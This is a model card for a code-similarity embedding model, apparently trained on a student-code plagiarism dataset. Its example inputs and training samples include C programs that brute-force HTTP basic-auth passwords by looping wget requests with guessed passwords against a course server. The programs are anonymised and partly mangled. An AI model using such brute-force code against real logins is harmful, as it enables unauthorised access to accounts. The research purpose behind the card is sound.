SOCO-C-UniXcoder-ST-0

SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a sentence-transformers model finetuned from microsoft/unixcoder-base-unimodal. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

• Model Type: Sentence Transformer
• Base model: microsoft/unixcoder-base-unimodal <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
• Maximum Sequence Length: 512 tokens
• Output Dimensionality: 768 dimensions
• Similarity Function: Cosine Similarity

<!-- - **Training Dataset:** Unknown --> <!-- - **Language:** Unknown --> <!-- - **License:** Unknown -->

Model Sources

• Documentation: Sentence Transformers Documentation
• Repository: Sentence Transformers on GitHub
• Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

pip install -U sentence-transformers

Then you can load this model and run inference.

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-C-UniXcoder-ST-0")
# Run inference
sentences = [
    '\n\n#include<stdio.h>\n#include<strings.h>\n#include<stdlib.h>\n#include<ctype.h>\n#define MAX_SIZE 255\n\n\n\nint genchkpwd(char *chararray,char *passwd)\n {\n   int i,j,k,success;\n   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];\n   \n   \n   strcpy(str1,"wget --http-user= --http-passwd=");\n   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");\n   strcpy(tempstr,"");\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      strcat(tempstr,str1);\n      strcat(tempstr,passwd);\n      strcat(tempstr,str2);\n      printf("SENDING REQUEST AS %s\\n",tempstr);\n      success=system (tempstr);\n      if (success==0)\n       return 1;\n      else\n       strcpy(tempstr,""); \n       strcpy(passwd,"");\n     }     \n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n\t strcat(tempstr,str1);\n         strcat(tempstr,passwd);\n         strcat(tempstr,str2);\n         printf("SENDING REQUEST AS %s\\n",tempstr);\n         success=system (tempstr);\n         if (success==0)\n           return 1;\n         else\n         strcpy(tempstr,""); \n         \n      }     \n    }\n\n\n\n   for(i=0;i<52;i++)\n    {\n      passwd[0]= chararray[i];\n      for(j=0;j<52;j++)\n       {\n         passwd[1]=chararray[j];\n         for(k=0;k<52;k++)\n\t  {\n\t    passwd[2]=chararray[k];\n\t    strcat(tempstr,str1);\n            strcat(tempstr,passwd);\n            strcat(tempstr,str2);\n            printf("SENDING REQUEST AS %s\\n",tempstr);\n            success=system (tempstr);\n            if (success==0)\n              return 1;\n            else\n              strcpy(tempstr,""); \n\t  }    \n       }     \n     }\n   return 1;\n  }  \n\nint  (int argc, char *argv[])\n {\n     char chararray[52],passwd[3];\n     int i,success;\n     char ch=\'a\';\n\n\n     \n     int , end;    \n      = time();\t \n\n     for (i=0;i<3;i++)\n      {\n          passwd[i]=\'\\0\';\n      }  \n\n\n\n     for (i=0;i<26;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n      ch=\'A\';  \n     for (i=26;i<52;i++)\n      {\n          chararray[i]= ch;\n\t  ch++;\n      }\n\n\n\n      success=genchkpwd(chararray,passwd);\n      printf("\\nPassword is %s\\n",passwd); \n      getpid();\n      end = time(); \n      printf("Time required = %lld msec\\n",(end-)/());\n     return (EXIT_SUCCESS);\n  }\n     \n\t   \n\t  \t\n',
    '\n\n#include<stdio.h>\n#include<stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n#include <sys/time.h>\n#include<string.h>\nint ()\n{\nchar a[100],c[100],c1[100],c2[100],m[50];\nchar b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\nint i,j,k,count=0;\nint  total_time,start_time,end_time;\nstart_time = time();\n\n\nfor(i=0;i<52;i++)\n{\n\t\n\tm[0]=b[i];\n\tm[1]=\'\\0\';\n\tstrcpy(c,m);\n\tprintf("%s \\n",c);\n\tfor(j=0;j<52;j++)\n\t{\n\tm[0]=b[j];\n\tm[1]=\'\\0\';\n\tstrcpy(c1,c);\n\tstrcat(c1,m);\n\tprintf("%s \\n",c1);\n\tfor(k=0;k<52;k++)\n\t{\n\t\tcount++;\n\t\tprintf("ATTEMPT :%d\\n",count);\n\t\t\n\t\tm[0]=b[k];\n\t\tm[1]=\'\\0\';\n\t\tstrcpy(c2,c1);\n\t\tstrcat(c2,m);\n\nstrcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");\n\n\t\tstrcat(a,c2);\t\t\n\t\tif(system(a)==0)\n\t\t{\n\t\tprintf("Congratulations!!!!BruteForce Attack Successful\\n");\n\t\tprintf("***********************************************\\n");\n\t\tprintf("The Password is %s\\n",c2);\n\t\tprintf("The Request sent is %s\\n",a); \n                end_time = time();\n                total_time = (end_time -start_time);\n                total_time /= 1000000000.0;\n                printf("The Time Taken is : %llds\\n",total_time);\n\t\texit(1);\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n}\nreturn 0;\n}\n',
    '#include<stdio.h>\n#include<stdlib.h>\n#include<string.h>\n#include<ctype.h>\n#include<time.h>\n\nint ()\n{\n\n int m,n,o,i;\n char URL[255];\n char v[3];\n char temp1[100];\nchar temp2[100];\nchar temp3[250];\nchar [53]={\'a\',\'A\',\'b\',\'B\',\'c\',\'C\',\'d\',\'D\',\'e\',\'E\',\'f\',\'F\',\'g\',\'G\',\'h\',\'H\',\'i\',\'I\',\'j\',\'J\',\'k\',\'K\',\'l\',\'L\',\'m\',\'M\',\'n\',\'N\',\'o\',\'O\',\'p\',\'P\',\'q\',\'Q\',\'r\',\'R\',\'s\',\'S\',\'t\',\'T\',\'u\',\'U\',\'v\',\'V\',\'w\',\'W\',\'x\',\'X\',\'y\',\'Y\',\'z\',\'Z\'};\ntime_t u1,u2;\n\n  (void) time(&u1); \n strcpy(temp1,"wget --http-user= --http-passwd=");\n strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n \n for(m=0;m<=51;m++)\n {\n   v[0]=[m]; \n   v[1]=\'\\0\';\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3); \n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n  for(n=0;n<=51;n++)\n  {\n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=\'\\0\';\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   for(o=0;o<=51;o++)\n   { \n   v[0]=[m]; \n   v[1]=[n];\n   v[2]=[o];\n   strcpy(URL,v); \n   printf("\\nTesting with password %s\\n",URL);\n   strcat(temp3,temp1);\n   strcat(temp3,URL);\n   strcat(temp3,temp2);\n   printf("\\nSending the  %s\\n",temp3);\n   i=system(temp3);\n   \t\n\tif(i==0)\n   \t{\n\t (void) time(&u2); \n\t printf("\\n The password is %s\\n",URL);\n\t printf("\\n\\nThe time_var taken  crack the password is  %d  second\\n\\n",(int)(u2-u1));\n     \t exit(0);\n   \t} \n\telse\n\t{\n\tstrcpy(temp3,"");\n\t}\n   \n   \n   }\n  }\n }  \n  \n}  \n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.9111, 0.9288],
#         [0.9111, 1.0000, 0.9562],
#         [0.9288, 0.9562, 1.0000]])

<!-- ### Direct Usage (Transformers) <details><summary>Click to see the direct usage in Transformers</summary> </details> --> <!-- ### Downstream Usage (Sentence Transformers) You can finetune this model on your own dataset. <details><summary>Click to expand</summary> </details> --> <!-- ### Out-of-Scope Use *List how the model may foreseeably be misused and address what users ought not to do with the model.* --> <!-- ## Bias, Risks and Limitations *What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.* --> <!-- ### Recommendations *What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.* -->

Training Details

Training Dataset

Unnamed Dataset

• Size: 3,081 training samples
• Columns: <code>sentence_0</code>, <code>sentence_1</code>, and <code>label</code>
• Approximate statistics based on the first 1000 samples:

  	sentence_0	sentence_1	label
  type	string	string	int
  details	<ul><li>min: 177 tokens</li><li>mean: 436.43 tokens</li><li>max: 512 tokens</li></ul>	<ul><li>min: 177 tokens</li><li>mean: 421.53 tokens</li><li>max: 512 tokens</li></ul>	<ul><li>0: ~99.20%</li><li>1: ~0.80%</li></ul>

• Samples:

  sentence_0	sentence_1	label
  <code><br><br><br><br><br><br>#include <sys/stat.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <string.h><br>#include <sys/time.h><br><br>#define MSG_FILE "msg"<br>#define EMAIL_TO "@cs.rmit.edu."<br>#define TRUE 1<br>#define FALSE 0<br><br><br>void genLog(char *logFile, const char *URL);<br>void getPage(const char URL, const char fname);<br>int getCurTime();<br>int logDiff(const char logFile, int time);<br>int isFileExist(const char fname);<br>void sendMail(const char emailTo, const char subject, const char msgFile<br> , const char log);<br><br>int (int argc, char **argv)<br>{<br> int time_var;<br> char *URL;<br> int upTime = 0;<br> char logFile[256];<br> int logSent = FALSE;<br> char subject[256];<br> <br> if (argc != 3)<br> {<br> fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");<br> exit(1);<br> }<br> else<br> {<br> time_var = atoi(argv[2]);<br><br> URL = malloc(strlen(argv[1]));<br><br> if (URL)<br> {<br> for (;;) <br> {<br> if (((int)difftime(upTime, getCurTime()) % time_var == 0) <br> && !logSent)<br> {<br> strncpy(URL, argv[1], strlen(argv[1]));<br> genLog(logFile, URL);<br> ...</code>	<code>#include <string.h><br>#include <stdlib.h><br>#include <stdio.h><br>#include <fcntl.h><br>#include <unistd.h><br>#include <sys/wait.h><br>#include <sys/time.h><br><br><br><br>char* joinMe(char* t, char* t2)<br>{<br> char* result;<br> int length = 0;<br> int j = 0;<br> int counter = 0;<br> <br> length = strlen(t) + strlen(t2) + 1;<br> <br> result = malloc(sizeof(char) * length);<br> <br> <br> for(j = 0; j<strlen(t); j++)<br> {<br> result[j] = t[j];<br> }<br><br> <br> for(j = strlen(t); j<length; j++)<br> {<br> result[j] = t2[counter];<br> counter++;<br> }<br> <br> <br> result[length-1] = '\0';<br><br> return result;<br>}<br><br><br>void check(char** smallcmd)<br>{<br> int pid = 0;<br> int status;<br><br> <br> if( (pid = fork()) == 0)<br> {<br> <br> execvp(smallcmd[0],smallcmd);<br> }<br> else<br> {<br> <br> while(wait(&status) != pid);<br> }<br>}<br><br>int (void)<br>{<br> int i = 0, j = 0, k = 0;<br> char** smallcmd;<br> int count = 0;<br> FILE *myFile,*myFile2,myFile3;<br> int compare1;<br> char myString;<br> int length = 0;<br> int start1, end1;<br> <br> <br> myString = malloc(sizeof(char) * 100);<br> smallcmd = malloc(sizeof(char *) * 8);<br> <br> smallcmd[0] = "/usr/local//wget";<br> <br> smallcm...</code>	<code>0</code>
  <code><br><br><br><br><br><br>#include <sys/stat.h><br>#include <stdio.h><br>#include <stdlib.h><br>#include <string.h><br>#include <sys/time.h><br><br>#define MSG_FILE "msg"<br>#define EMAIL_TO "@cs.rmit.edu."<br>#define TRUE 1<br>#define FALSE 0<br><br><br>void genLog(char *logFile, const char *URL);<br>void getPage(const char URL, const char fname);<br>int getCurTime();<br>int logDiff(const char logFile, int time);<br>int isFileExist(const char fname);<br>void sendMail(const char emailTo, const char subject, const char msgFile<br> , const char log);<br><br>int (int argc, char **argv)<br>{<br> int time_var;<br> char *URL;<br> int upTime = 0;<br> char logFile[256];<br> int logSent = FALSE;<br> char subject[256];<br> <br> if (argc != 3)<br> {<br> fprintf(stderr, "\nUsage: ./WatchDog URL timeIntervalInSec\n");<br> exit(1);<br> }<br> else<br> {<br> time_var = atoi(argv[2]);<br><br> URL = malloc(strlen(argv[1]));<br><br> if (URL)<br> {<br> for (;;) <br> {<br> if (((int)difftime(upTime, getCurTime()) % time_var == 0) <br> && !logSent)<br> {<br> strncpy(URL, argv[1], strlen(argv[1]));<br> genLog(logFile, URL);<br> ...</code>	<code>#include<stdio.h><br>#include<stdlib.h><br>#include <sys/types.h><br>#include <unistd.h><br>#include <sys/time.h><br><br>int ()<br>{<br> char lc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> char uc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> char gc[53]="abcdefghijlmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";<br> int a=0,b=0,c=0,d,e,count=0;<br> char [100],temp1[100],temp2[100],temp3[100],temp4[10],temp5[50],p[100],q[50],r[50];<br> char result,result1,result2,mx[100],mx1,mx2,mx3,mx4;<br> <br> int ,end,t;<br> = time(); <br>while(sizeof(lc)!=52)<br>{<br> temp2[0]=lc[d];<br> temp2[1]='\0';<br> d=d+1;<br> strcpy(p,temp2);<br> <br> while(sizeof(uc)!=52)<br> {<br> temp3[0]=uc[b];<br> temp3[1]='\0';<br> b=b+1;<br> strcpy(q,p);<br> strcat(q,temp3);<br> for(e=0;e<52;e++)<br> {<br> temp1[0]=gc[e];<br> temp1[1]='\0';<br> strcpy(r,q);<br> strcat(r,temp1);<br> strcpy(mx,"wget http://sec-crack.cs.rmit.edu./SEC/2 --http-user= --http-passwd=");<br> strcat(mx,r);<br> printf("temp3=%s\n",mx);<br> if(sy...</code>	<code>0</code>
  <code>#include<stdio.h><br>#include<stdlib.h><br>#include<unistd.h><br>#define TRUE 0<br>()<br>{<br>FILE fp;<br>system("rmdir ./www.cs.rmit.edu.");<br>char chk[1];<br>strcpy(chk,"n");<br> while(1)<br> {<br> <br> system("wget -p http://www.cs.rmit.edu./students/");<br> <br> system("md5sum ./www.cs.rmit.edu./images/.* > ./www.cs.rmit.edu./text1.txt");<br> <br> <br> if (strcmp(chk,"n")==0) <br> { <br> system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt");<br> system("mkdir ./");<br> <br> system("mv ./www.cs.rmit.edu./students/index.html ./");<br> }<br> else<br> {<br> <br> <br> system(" diff ./www.cs.rmit.edu./students/index.html .//index.html	mail @cs.rmit.edu. ");<br> system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt	mail @cs.rmit.edu. ");<br> system("mv ./www.cs.rmit.edu./students/index.html ./");<br> system("mv ./www.cs.rmit.edu./text1.txt ./text2.txt"); <br> }<br> sleep(86400);<br> strcpy(chk,"y");<br> <br> }<br>} <br> <br> <br></code>

• Loss: <code>BatchAllTripletLoss</code>

Training Hyperparameters

Non-Default Hyperparameters

• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• num_train_epochs: 1
• fp16: True
• multi_dataset_batch_sampler: round_robin

All Hyperparameters

<details><summary>Click to expand</summary>

• overwrite_output_dir: False
• do_predict: False
• eval_strategy: no
• prediction_loss_only: True
• per_device_train_batch_size: 16
• per_device_eval_batch_size: 16
• per_gpu_train_batch_size: None
• per_gpu_eval_batch_size: None
• gradient_accumulation_steps: 1
• eval_accumulation_steps: None
• torch_empty_cache_steps: None
• learning_rate: 5e-05
• weight_decay: 0.0
• adam_beta1: 0.9
• adam_beta2: 0.999
• adam_epsilon: 1e-08
• max_grad_norm: 1
• num_train_epochs: 1
• max_steps: -1
• lr_scheduler_type: linear
• lr_scheduler_kwargs: {}
• warmup_ratio: 0.0
• warmup_steps: 0
• log_level: passive
• log_level_replica: warning
• log_on_each_node: True
• logging_nan_inf_filter: True
• save_safetensors: True
• save_on_each_node: False
• save_only_model: False
• restore_callback_states_from_checkpoint: False
• no_cuda: False
• use_cpu: False
• use_mps_device: False
• seed: 42
• data_seed: None
• jit_mode_eval: False
• use_ipex: False
• bf16: False
• fp16: True
• fp16_opt_level: O1
• half_precision_backend: auto
• bf16_full_eval: False
• fp16_full_eval: False
• tf32: None
• local_rank: 0
• ddp_backend: None
• tpu_num_cores: None
• tpu_metrics_debug: False
• debug: []
• dataloader_drop_last: False
• dataloader_num_workers: 0
• dataloader_prefetch_factor: None
• past_index: -1
• disable_tqdm: False
• remove_unused_columns: True
• label_names: None
• load_best_model_at_end: False
• ignore_data_skip: False
• fsdp: []
• fsdp_min_num_params: 0
• fsdp_config: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False}
• fsdp_transformer_layer_cls_to_wrap: None
• accelerator_config: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None}
• deepspeed: None
• label_smoothing_factor: 0.0
• optim: adamw_torch
• optim_args: None
• adafactor: False
• group_by_length: False
• length_column_name: length
• ddp_find_unused_parameters: None
• ddp_bucket_cap_mb: None
• ddp_broadcast_buffers: False
• dataloader_pin_memory: True
• dataloader_persistent_workers: False
• skip_memory_metrics: True
• use_legacy_prediction_loop: False
• push_to_hub: False
• resume_from_checkpoint: None
• hub_model_id: None
• hub_strategy: every_save
• hub_private_repo: None
• hub_always_push: False
• gradient_checkpointing: False
• gradient_checkpointing_kwargs: None
• include_inputs_for_metrics: False
• include_for_metrics: []
• eval_do_concat_batches: True
• fp16_backend: auto
• push_to_hub_model_id: None
• push_to_hub_organization: None
• mp_parameters:
• auto_find_batch_size: False
• full_determinism: False
• torchdynamo: None
• ray_scope: last
• ddp_timeout: 1800
• torch_compile: False
• torch_compile_backend: None
• torch_compile_mode: None
• include_tokens_per_second: False
• include_num_input_tokens_seen: False
• neftune_noise_alpha: None
• optim_target_modules: None
• batch_eval_metrics: False
• eval_on_start: False
• use_liger_kernel: False
• eval_use_gather_object: False
• average_tokens_across_devices: False
• prompts: None
• batch_sampler: batch_sampler
• multi_dataset_batch_sampler: round_robin
• router_mapping: {}
• learning_rate_mapping: {}

</details>

Framework Versions

• Python: 3.11.13
• Sentence Transformers: 5.0.0
• Transformers: 4.52.4
• PyTorch: 2.6.0+cu124
• Accelerate: 1.8.1
• Datasets: 3.6.0
• Tokenizers: 0.21.2

Citation

BibTeX

Sentence Transformers

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

BatchAllTripletLoss

@misc{hermans2017defense,
    title={In Defense of the Triplet Loss for Person Re-Identification},
    author={Alexander Hermans and Lucas Beyer and Bastian Leibe},
    year={2017},
    eprint={1703.07737},
    archivePrefix={arXiv},
    primaryClass={cs.CV}
}

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